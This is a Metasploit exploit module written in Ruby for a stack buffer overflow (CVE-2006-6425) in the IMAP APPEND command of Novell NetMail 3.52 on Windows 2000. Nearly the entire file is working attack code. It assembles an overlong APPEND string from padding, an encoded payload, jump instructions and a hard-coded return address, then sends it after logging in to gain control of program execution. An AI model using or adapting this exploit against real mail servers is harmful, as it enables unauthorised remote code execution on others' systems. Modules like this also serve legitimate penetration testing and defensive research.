Novell NetMail IMAP APPEND Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Imap

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Novell NetMail IMAP APPEND Buffer Overflow',
        'Description' => %q{
          This module exploits a stack buffer overflow in Novell's Netmail 3.52 IMAP APPEND
          verb. By sending an overly long string, an attacker can overwrite the
          buffer and control program execution.
        },
        'Author' => [ 'MC' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2006-6425' ],
          [ 'OSVDB', '31362' ],
          [ 'BID', '21723' ],
          [ 'ZDI', '06-054' ],
        ],
        'Privileged' => true,
        'DefaultOptions' => {
          'EXITFUNC' => 'thread',
        },
        'Payload' => {
          'Space' => 700,
          'BadChars' => "\x00\x0a\x0d\x20",
          'StackAdjustment' => -3500,
        },
        'Platform' => 'win',
        'Targets' => [
          ['Windows 2000 SP0-SP4 English', { 'Ret' => 0x75022ac4 }],
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2006-12-23',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def exploit
    sploit = "a002 APPEND  " + "saved-messages (\Seen) "
    sploit << rand_text_english(1358) + payload.encoded + "\xeb\x06"
    sploit << rand_text_english(2) + [target.ret].pack('V')
    sploit << [0xe9, -585].pack('CV') + rand_text_english(150)

    info = connect_login

    if (info == true)
      print_status("Trying target #{target.name}...")
      sock.put(sploit + "\r\n")
    else
      print_status("Not falling through with exploit")
    end

    handler
    disconnect
  end
end